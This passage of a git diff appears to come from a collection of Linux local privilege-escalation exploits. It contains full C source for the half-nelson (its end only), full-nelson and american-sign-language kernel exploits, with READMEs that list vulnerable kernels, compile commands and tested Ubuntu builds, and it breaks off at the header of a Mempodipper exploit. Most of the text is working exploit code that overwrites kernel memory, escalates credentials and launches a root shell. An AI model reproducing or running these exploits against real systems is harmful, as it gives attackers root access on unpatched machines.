iovs[STACK_OFFSET].iov_base = (void *) target;
|
||||
iovs[STACK_OFFSET].iov_len = 0x0246;
|
||||
|
||||
/* force abort via EFAULT */
|
||||
for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
|
||||
iovs[i].iov_base = (void *) 0xffffffff00000000;
|
||||
iovs[i].iov_len = 0;
|
||||
}
|
||||
|
||||
/* create econet socket */
|
||||
eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
|
||||
if (eco_sock < 0) {
|
||||
printf("[-] failed creating econet socket, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
strcpy(ifr.ifr_name, "lo");
|
||||
|
||||
/* trick econet into associated with the loopback */
|
||||
ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
|
||||
if (ret != 0) {
|
||||
printf("[-] failed setting interface address, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
memset(&eco_addr, 0, sizeof(eco_addr));
|
||||
memset(&eco_msg, 0, sizeof(eco_msg));
|
||||
eco_msg.msg_name = &eco_addr;
|
||||
eco_msg.msg_namelen = sizeof(eco_addr);
|
||||
eco_msg.msg_flags = 0;
|
||||
eco_msg.msg_iov = &iovs[0];
|
||||
eco_msg.msg_iovlen = IOVS;
|
||||
|
||||
printf("[+] upper child triggering stack overflow...\n");
|
||||
|
||||
/* trigger the kstack overflow into lower child's kstack */
|
||||
ret = sendmsg(eco_sock, &eco_msg, 0);
|
||||
if (ret != -1 || errno != EFAULT) {
|
||||
printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
close(eco_sock);
|
||||
}
|
||||
|
||||
void
|
||||
do_child_lower(void)
|
||||
{
|
||||
int pid;
|
||||
|
||||
printf("[+] lower child spawning a helper...\n");
|
||||
|
||||
/* fork off a helper to wait4 on */
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
printf("[+] helper going to sleep...\n");
|
||||
sleep(5);
|
||||
printf("[+] helper woke up\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] lower child calling compat_sys_wait4 on helper...\n");
|
||||
|
||||
/* syscall(NR_WAIT4, pid, 0, 0, 0) */
|
||||
asm volatile (
|
||||
"push %%rax\n"
|
||||
"push %%rbx\n"
|
||||
"push %%rcx\n"
|
||||
"push %%rdx\n"
|
||||
"push %%rsi\n"
|
||||
"movl %0, %%eax\n"
|
||||
"movl %1, %%ebx\n"
|
||||
"movl %2, %%ecx\n"
|
||||
"movl %3, %%edx\n"
|
||||
"movl %4, %%esi\n"
|
||||
"int $0x80\n"
|
||||
"pop %%rsi\n"
|
||||
"pop %%rdx\n"
|
||||
"pop %%rcx\n"
|
||||
"pop %%rbx\n"
|
||||
"pop %%rax\n"
|
||||
:
|
||||
: "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
|
||||
: "memory", "rax", "rbx", "rcx", "rdx", "rsi"
|
||||
);
|
||||
|
||||
printf("[+] lower child returned from compat_sys_wait4\n");
|
||||
|
||||
printf("[+] parent's restart_block has been clobbered\n");
|
||||
|
||||
/* signal parent that our fptr should now be clobbered */
|
||||
region->parent = KSTACK_CLOBBER;
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
int type;
|
||||
|
||||
if (sizeof(unsigned long) != 8) {
|
||||
printf("[-] x86_64 only, sorry!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] looking for symbols...\n");
|
||||
|
||||
commit_creds = (_commit_creds) get_symbol("commit_creds");
|
||||
if (!commit_creds) {
|
||||
printf("[-] symbol table not available, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
|
||||
if (!prepare_kernel_cred) {
|
||||
printf("[-] symbol table not available, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
ia32_sysret = get_symbol("ia32_sysret");
|
||||
if (!ia32_sysret) {
|
||||
printf("[-] symbol table not available, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] spawning children to achieve adjacent kstacks...\n");
|
||||
|
||||
type = get_adjacent_kstacks();
|
||||
|
||||
if (type == KSTACK_PARENT) {
|
||||
do_parent();
|
||||
} else if (type == KSTACK_UPPER) {
|
||||
do_child_upper();
|
||||
} else if (type == KSTACK_LOWER) {
|
||||
do_child_lower();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
27
98-Linux提权/2010/CVE-2010-4073/README.md
Normal file
27
98-Linux提权/2010/CVE-2010-4073/README.md
Normal file
@ -0,0 +1,27 @@
|
||||
# CVE-2010-4073
|
||||
|
||||
CVE-2010-4073
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-4073](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4073)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/17787/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc half-nelson.c -o half-nelson -lrt
|
||||
$ ./half-nelson
|
||||
```
|
||||
|
||||
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 10.04 - Linux ubuntu 2.6.32-21-server #32-Ubuntu x86_64
|
||||
- Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64
|
||||
|
||||
|
||||
|
||||
|
BIN
98-Linux提权/2010/CVE-2010-4073/half-nelson3
Normal file
BIN
98-Linux提权/2010/CVE-2010-4073/half-nelson3
Normal file
Binary file not shown.
278
98-Linux提权/2010/CVE-2010-4258/15704.c
Normal file
278
98-Linux提权/2010/CVE-2010-4258/15704.c
Normal file
@ -0,0 +1,278 @@
|
||||
/*
|
||||
* Linux Kernel <= 2.6.37 local privilege escalation
|
||||
* by Dan Rosenberg
|
||||
* @djrbliss on twitter
|
||||
*
|
||||
* Usage:
|
||||
* gcc full-nelson.c -o full-nelson
|
||||
* ./full-nelson
|
||||
*
|
||||
* This exploit leverages three vulnerabilities to get root, all of which were
|
||||
* discovered by Nelson Elhage:
|
||||
*
|
||||
* CVE-2010-4258
|
||||
* -------------
|
||||
* This is the interesting one, and the reason I wrote this exploit. If a
|
||||
* thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL
|
||||
* word will be written to a user-specified pointer when that thread exits.
|
||||
* This write is done using put_user(), which ensures the provided destination
|
||||
* resides in valid userspace by invoking access_ok(). However, Nelson
|
||||
* discovered that when the kernel performs an address limit override via
|
||||
* set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault,
|
||||
* etc.), this override is not reverted before calling put_user() in the exit
|
||||
* path, allowing a user to write a NULL word to an arbitrary kernel address.
|
||||
* Note that this issue requires an additional vulnerability to trigger.
|
||||
*
|
||||
* CVE-2010-3849
|
||||
* -------------
|
||||
* This is a NULL pointer dereference in the Econet protocol. By itself, it's
|
||||
* fairly benign as a local denial-of-service. It's a perfect candidate to
|
||||
* trigger the above issue, since it's reachable via sock_no_sendpage(), which
|
||||
* subsequently calls sendmsg under KERNEL_DS.
|
||||
*
|
||||
* CVE-2010-3850
|
||||
* -------------
|
||||
* I wouldn't be able to reach the NULL pointer dereference and trigger the
|
||||
* OOPS if users weren't able to assign Econet addresses to arbitrary
|
||||
* interfaces due to a missing capabilities check.
|
||||
*
|
||||
* In the interest of public safety, this exploit was specifically designed to
|
||||
* be limited:
|
||||
*
|
||||
* * The particular symbols I resolve are not exported on Slackware or Debian
|
||||
* * Red Hat does not support Econet by default
|
||||
* * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and
|
||||
* Debian
|
||||
*
|
||||
* However, the important issue, CVE-2010-4258, affects everyone, and it would
|
||||
* be trivial to find an unpatched DoS under KERNEL_DS and write a slightly
|
||||
* more sophisticated version of this that doesn't have the roadblocks I put in
|
||||
* to prevent abuse by script kiddies.
|
||||
*
|
||||
* Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64.
|
||||
*
|
||||
* NOTE: the exploit process will deadlock and stay in a zombie state after you
|
||||
* exit your root shell because the Econet thread OOPSes while holding the
|
||||
* Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother.
|
||||
*
|
||||
* Greets to spender, taviso, stealth, pipacs, jono, kees, and bla
|
||||
*/
|
||||
|
||||
// EDB-Note: You may need to add '#define _GNU_SOURCE' to compile in later versions
|
||||
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <string.h>
|
||||
#include <net/if.h>
|
||||
#include <sched.h>
|
||||
#include <stdlib.h>
|
||||
#include <signal.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/mman.h>
|
||||
#include <unistd.h>
|
||||
|
||||
/* How many bytes should we clear in our
|
||||
* function pointer to put it into userspace? */
|
||||
#ifdef __x86_64__
|
||||
#define SHIFT 24
|
||||
#define OFFSET 3
|
||||
#else
|
||||
#define SHIFT 8
|
||||
#define OFFSET 1
|
||||
#endif
|
||||
|
||||
/* thanks spender... */
|
||||
unsigned long get_kernel_sym(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" :
|
||||
"");
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
_commit_creds commit_creds;
|
||||
_prepare_kernel_cred prepare_kernel_cred;
|
||||
|
||||
static int __attribute__((regparm(3)))
|
||||
getroot(void * file, void * vma)
|
||||
{
|
||||
|
||||
commit_creds(prepare_kernel_cred(0));
|
||||
return -1;
|
||||
|
||||
}
|
||||
|
||||
/* Why do I do this? Because on x86-64, the address of
|
||||
* commit_creds and prepare_kernel_cred are loaded relative
|
||||
* to rip, which means I can't just copy the above payload
|
||||
* into my landing area. */
|
||||
void __attribute__((regparm(3)))
|
||||
trampoline()
|
||||
{
|
||||
|
||||
#ifdef __x86_64__
|
||||
asm("mov $getroot, %rax; call *%rax;");
|
||||
#else
|
||||
asm("mov $getroot, %eax; call *%eax;");
|
||||
#endif
|
||||
|
||||
}
|
||||
|
||||
/* Triggers a NULL pointer dereference in econet_sendmsg
|
||||
* via sock_no_sendpage, so it's under KERNEL_DS */
|
||||
int trigger(int * fildes)
|
||||
{
|
||||
int ret;
|
||||
struct ifreq ifr;
|
||||
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ);
|
||||
|
||||
ret = ioctl(fildes[2], SIOCSIFADDR, &ifr);
|
||||
|
||||
if(ret < 0) {
|
||||
printf("[*] Failed to set Econet address.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
splice(fildes[3], NULL, fildes[1], NULL, 128, 0);
|
||||
splice(fildes[0], NULL, fildes[2], NULL, 128, 0);
|
||||
|
||||
/* Shouldn't get here... */
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
unsigned long econet_ops, econet_ioctl, target, landing;
|
||||
int fildes[4], pid;
|
||||
void * newstack, * payload;
|
||||
|
||||
/* Create file descriptors now so there are two
|
||||
references to them after cloning...otherwise
|
||||
the child will never return because it
|
||||
deadlocks when trying to unlock various
|
||||
mutexes after OOPSing */
|
||||
pipe(fildes);
|
||||
fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);
|
||||
fildes[3] = open("/dev/zero", O_RDONLY);
|
||||
|
||||
if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) {
|
||||
printf("[*] Failed to open file descriptors.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Resolve addresses of relevant symbols */
|
||||
printf("[*] Resolving kernel addresses...\n");
|
||||
econet_ioctl = get_kernel_sym("econet_ioctl");
|
||||
econet_ops = get_kernel_sym("econet_ops");
|
||||
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
|
||||
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
|
||||
|
||||
if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) {
|
||||
printf("[*] Failed to resolve kernel symbols.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if(!(newstack = malloc(65536))) {
|
||||
printf("[*] Failed to allocate memory.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Calculating target...\n");
|
||||
target = econet_ops + 10 * sizeof(void *) - OFFSET;
|
||||
|
||||
/* Clear the higher bits */
|
||||
landing = econet_ioctl << SHIFT >> SHIFT;
|
||||
|
||||
payload = mmap((void *)(landing & ~0xfff), 2 * 4096,
|
||||
PROT_READ | PROT_WRITE | PROT_EXEC,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
|
||||
|
||||
if ((long)payload == -1) {
|
||||
printf("[*] Failed to mmap() at target address.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
memcpy((void *)landing, &trampoline, 1024);
|
||||
|
||||
clone((int (*)(void *))trigger,
|
||||
(void *)((unsigned long)newstack + 65536),
|
||||
CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD,
|
||||
&fildes, NULL, NULL, target);
|
||||
|
||||
sleep(1);
|
||||
|
||||
printf("[*] Triggering payload...\n");
|
||||
ioctl(fildes[2], 0, NULL);
|
||||
|
||||
if(getuid()) {
|
||||
printf("[*] Exploit failed to get root.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Got root!\n");
|
||||
execl("/bin/sh", "/bin/sh", NULL);
|
||||
}
|
30
98-Linux提权/2010/CVE-2010-4258/README.md
Normal file
30
98-Linux提权/2010/CVE-2010-4258/README.md
Normal file
@ -0,0 +1,30 @@
|
||||
# CVE-2010-4258
|
||||
|
||||
CVE-2010-4258
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-4258](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4258)
|
||||
* [exp-db](https://www.exploit-db.com/exploits/15704/)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.31, 2.6.32, 2.6.35, 2.6.37
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc full-nelson.c -o full-nelson
|
||||
$ ./full-nelson
|
||||
```
|
||||
|
||||
### This binary has been verified on:
|
||||
- Ubuntu 10.10 - 2.6.35-19-generic-pae #28-Ubuntu x86_32
|
||||
- Ubuntu 9.10 - 2.6.31-14-generic-pae #48-Ubuntu x86_32
|
||||
|
||||
- Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64
|
||||
- Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64
|
||||
- Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64
|
||||
- Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64
|
||||
|
||||
|
||||
|
BIN
98-Linux提权/2010/CVE-2010-4258/full-nelson
Normal file
BIN
98-Linux提权/2010/CVE-2010-4258/full-nelson
Normal file
Binary file not shown.
BIN
98-Linux提权/2010/CVE-2010-4258/full-nelson64
Normal file
BIN
98-Linux提权/2010/CVE-2010-4258/full-nelson64
Normal file
Binary file not shown.
253
98-Linux提权/2010/CVE-2010-4347/15774.c
Normal file
253
98-Linux提权/2010/CVE-2010-4347/15774.c
Normal file
@ -0,0 +1,253 @@
|
||||
/*
|
||||
* american-sign-language.c
|
||||
*
|
||||
* Linux Kernel < 2.6.37-rc2 ACPI custom_method Privilege Escalation
|
||||
* Jon Oberheide <jon@oberheide.org>
|
||||
* http://jon.oberheide.org
|
||||
*
|
||||
* Information:
|
||||
*
|
||||
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4347
|
||||
*
|
||||
* This custom_method file allows to inject custom ACPI methods into the ACPI
|
||||
* interpreter tables. This control file was introduced with world writeable
|
||||
* permissions in Linux Kernel 2.6.33.
|
||||
*
|
||||
* Usage:
|
||||
*
|
||||
* $ gcc american-sign-language.c -o american-sign-language
|
||||
* $ ./american-sign-language
|
||||
* [+] resolving required symbols...
|
||||
* [+] checking for world-writable custom_method...
|
||||
* [+] checking for an ACPI LID device...
|
||||
* [+] poisoning ACPI tables via custom_method...
|
||||
* [+] triggering ACPI payload via LID device...
|
||||
* [+] triggering exploit via futimesat...
|
||||
* [+] launching root shell!
|
||||
* # id
|
||||
* uid=0(root) gid=0(root) groups=0(root)
|
||||
*
|
||||
* Notes:
|
||||
*
|
||||
* This vuln allows us to write custom ACPI methods and load them into the
|
||||
* kernel as an unprivileged user. We compile some fancy ASL down to AML
|
||||
* that overrides the ACPI method used when the status of the LID device is
|
||||
* queried (eg. 'open' or 'closed' lid on a laptop). When the method is
|
||||
* triggered, it overlays an OperationRegion on the physical address where
|
||||
* sys_futimesat is located and overwrites the memory via the Store to
|
||||
* escalate privileges whenever sys_futimesat is called.
|
||||
*
|
||||
* The payload is 64-bit only and depends on the existence of a LID device
|
||||
* (eg. laptop), but the exploit will still tell you if you're vulnerable
|
||||
* regardless. If you don't know how to work around these limitations, you
|
||||
* probably shouldn't be running this in the first place. :-P
|
||||
*
|
||||
* Props to taviso, spender, kees, bliss, pipacs, twiz, stealth, and #brownpants
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
/*
|
||||
* The ASL payload looks like:
|
||||
*
|
||||
* DefinitionBlock ("lid.aml", "SSDT", 2, "", "", 0x00001001) {
|
||||
* Method (\_SB.LID._LID, 0, NotSerialized) {
|
||||
* OperationRegion (KMEM, SystemMemory, PHYADDR, 0x392)
|
||||
* Field(KMEM, AnyAcc, NoLock, Preserve) {
|
||||
* HACK, 0x392
|
||||
* }
|
||||
* Store (Buffer () {
|
||||
* 0x55, 0x48, 0x89, 0xe5, 0x53, 0x48, 0x83, 0xec,
|
||||
* 0x08, 0x48, 0xc7, 0xc3, 0x24, 0x24, 0x24, 0x24,
|
||||
* 0x48, 0xc7, 0xc0, 0x24, 0x24, 0x24, 0x24, 0xbf,
|
||||
* 0x00, 0x00, 0x00, 0x00, 0xff, 0xd0, 0x48, 0x89,
|
||||
* 0xc7, 0xff, 0xd3, 0x48, 0xc7, 0xc0, 0xb7, 0xff,
|
||||
* 0xff, 0xff, 0x48, 0x83, 0xc4, 0x08, 0x5b, 0xc9,
|
||||
* 0xc3 }, HACK)
|
||||
* Return (One)
|
||||
* }
|
||||
* }
|
||||
*
|
||||
* Feel free to `iasl -d` this is you don't trust me! ;-)
|
||||
*/
|
||||
#define PAYLOAD_AML \
|
||||
"\x53\x53\x44\x54\x90\x00\x00\x00\x02\x3e\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x49\x4e\x54\x4c" \
|
||||
"\x21\x05\x09\x20\x14\x4b\x06\x5c\x2f\x03\x5f\x53\x42\x5f\x4c\x49" \
|
||||
"\x44\x5f\x5f\x4c\x49\x44\x00\x5b\x80\x4b\x4d\x45\x4d\x00\x0c\xe0" \
|
||||
"\x61\x17\x01\x0b\x92\x03\x5b\x81\x0c\x4b\x4d\x45\x4d\x00\x48\x41" \
|
||||
"\x43\x4b\x42\x39\x70\x11\x34\x0a\x31\x55\x48\x89\xe5\x53\x48\x83" \
|
||||
"\xec\x08\x48\xc7\xc3\x24\x24\x24\x24\x48\xc7\xc0\x24\x24\x24\x24" \
|
||||
"\xbf\x00\x00\x00\x00\xff\xd0\x48\x89\xc7\xff\xd3\x48\xc7\xc0\xb7" \
|
||||
"\xff\xff\xff\x48\x83\xc4\x08\x5b\xc9\xc3\x48\x41\x43\x4b\xa4\x01"
|
||||
#define PAYLOAD_LEN 144
|
||||
|
||||
#define CUSTOM_METHOD "/sys/kernel/debug/acpi/custom_method"
|
||||
#define HEY_ITS_A_LID "/proc/acpi/button/lid/LID/state"
|
||||
|
||||
unsigned long
|
||||
get_symbol(char *name)
|
||||
{
|
||||
FILE *f;
|
||||
unsigned long addr;
|
||||
char dummy;
|
||||
char sname[512];
|
||||
struct utsname ver;
|
||||
int ret;
|
||||
int rep = 0;
|
||||
int oldstyle = 0;
|
||||
|
||||
f = fopen("/proc/kallsyms", "r");
|
||||
if (f == NULL) {
|
||||
f = fopen("/proc/ksyms", "r");
|
||||
if (f == NULL)
|
||||
goto fallback;
|
||||
oldstyle = 1;
|
||||
}
|
||||
|
||||
repeat:
|
||||
ret = 0;
|
||||
while(ret != EOF) {
|
||||
if (!oldstyle)
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
else {
|
||||
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
|
||||
if (ret == 2) {
|
||||
char *p;
|
||||
if (strstr(sname, "_O/") || strstr(sname, "_S."))
|
||||
continue;
|
||||
p = strrchr(sname, '_');
|
||||
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
|
||||
p = p - 4;
|
||||
while (p > (char *)sname && *(p - 1) == '_')
|
||||
p--;
|
||||
*p = '\0';
|
||||
}
|
||||
}
|
||||
}
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
if (rep)
|
||||
return 0;
|
||||
fallback:
|
||||
uname(&ver);
|
||||
if (strncmp(ver.release, "2.6", 3))
|
||||
oldstyle = 1;
|
||||
sprintf(sname, "/boot/System.map-%s", ver.release);
|
||||
f = fopen(sname, "r");
|
||||
if (f == NULL)
|
||||
return 0;
|
||||
rep = 1;
|
||||
goto repeat;
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv)
|
||||
{
|
||||
int ret;
|
||||
FILE *fp;
|
||||
char buf[64];
|
||||
struct stat sb;
|
||||
char payload[PAYLOAD_LEN] = PAYLOAD_AML;
|
||||
unsigned long sys_futimesat, prepare_kernel_cred, commit_creds;
|
||||
|
||||
printf("[+] resolving required symbols...\n");
|
||||
|
||||
sys_futimesat = get_symbol("sys_futimesat");
|
||||
if (!sys_futimesat) {
|
||||
printf("[-] sys_futimesat symbol not found, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
prepare_kernel_cred = get_symbol("prepare_kernel_cred");
|
||||
if (!prepare_kernel_cred) {
|
||||
printf("[-] prepare_kernel_cred symbol not found, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
commit_creds = get_symbol("commit_creds");
|
||||
if (!commit_creds) {
|
||||
printf("[-] commit_creds symbol not found, aborting!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] checking for world-writable custom_method...\n");
|
||||
|
||||
ret = stat(CUSTOM_METHOD, &sb);
|
||||
if (ret < 0) {
|
||||
printf("[-] custom_method not found, kernel is not vulnerable!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (!(sb.st_mode & S_IWOTH)) {
|
||||
printf("[-] custom_method not world-writable, kernel is not vulnerable!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] checking for an ACPI LID device...\n");
|
||||
|
||||
ret = stat(HEY_ITS_A_LID, &sb);
|
||||
if (ret < 0) {
|
||||
printf("[-] ACPI LID device not found, but kernel is still vulnerable!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (sizeof(sys_futimesat) != 8) {
|
||||
printf("[-] payload is 64-bit only, but kernel is still vulnerable!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
sys_futimesat &= ~0xffffffff80000000;
|
||||
memcpy(&payload[63], &sys_futimesat, 4);
|
||||
memcpy(&payload[101], &commit_creds, 4);
|
||||
memcpy(&payload[108], &prepare_kernel_cred, 4);
|
||||
|
||||
printf("[+] poisoning ACPI tables via custom_method...\n");
|
||||
|
||||
fp = fopen(CUSTOM_METHOD, "w");
|
||||
fwrite(payload, 1, sizeof(payload), fp);
|
||||
fclose(fp);
|
||||
|
||||
printf("[+] triggering ACPI payload via LID device...\n");
|
||||
|
||||
fp = fopen(HEY_ITS_A_LID, "r");
|
||||
fread(&buf, 1, sizeof(buf), fp);
|
||||
fclose(fp);
|
||||
|
||||
printf("[+] triggering exploit via futimesat...\n");
|
||||
|
||||
ret = futimesat(0, "/tmp", NULL);
|
||||
|
||||
if (ret != -1 || errno != EDOTDOT) {
|
||||
printf("[-] unexpected futimesat errno, exploit failed!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (getuid() != 0) {
|
||||
printf("[-] privileges not escalated, exploit failed!\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
printf("[+] launching root shell!\n");
|
||||
execl("/bin/sh", "/bin/sh", NULL);
|
||||
}
|
24
98-Linux提权/2010/CVE-2010-4347/README.md
Normal file
24
98-Linux提权/2010/CVE-2010-4347/README.md
Normal file
@ -0,0 +1,24 @@
|
||||
# CVE-2010-4347
|
||||
|
||||
CVE-2010-4347
|
||||
|
||||
Vulnerability reference:
|
||||
* [CVE-2010-4347](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-4347)
|
||||
|
||||
## Kernels
|
||||
```
|
||||
2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 2.6.7, 2.6.8, 2.6.9, 2.6.10, 2.6.11, 2.6.12, 2.6.13, 2.6.14, 2.6.15, 2.6.16, 2.6.17, 2.6.18, 2.6.19, 2.6.20, 2.6.21, 2.6.22, 2.6.23, 2.6.24, 2.6.25, 2.6.26, 2.6.27, 2.6.28, 2.6.29, 2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
|
||||
```
|
||||
|
||||
## Usage
|
||||
```
|
||||
$ gcc american-sign-language.c -o american-sign-language
|
||||
$ ./american-sign-language
|
||||
```
|
||||
|
||||
|
||||
## References
|
||||
* [http://www.securityfocus.com/bid/45408/](http://www.securityfocus.com/bid/45408/http://www.securityfocus.com/bid/45408/)
|
||||
|
||||
|
||||
|
227
98-Linux提权/2012/CVE-2012-0056/18411.c
Normal file
227
98-Linux提权/2012/CVE-2012-0056/18411.c
Normal file
@ -0,0 +1,227 @@
|
||||
/*
|
||||
Exploit code is here: http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
|
||||
Blog post about it is here: http://blog.zx2c4.com/749
|
||||
EDB-Note: Updated version can be found here: https://www.exploit-db.com/exploits/35161/
|
||||
|
||||
# Exploit Title: Mempodipper - Linux Local Root for >=2.6.39, 32-bit and 64-bit
|
||||
# Date: Jan 21, 2012
|
||||
# Author: zx2c4
|
||||
# Tested on: Gentoo, Ubuntu
|
||||
# Platform: Linux
|
||||
# Category: Local
|
||||
# CVE-2012-0056
|
||||
|
||||
|
||||
* Mempodipper
|
||||
* by zx2c4
|
||||
*
|
||||
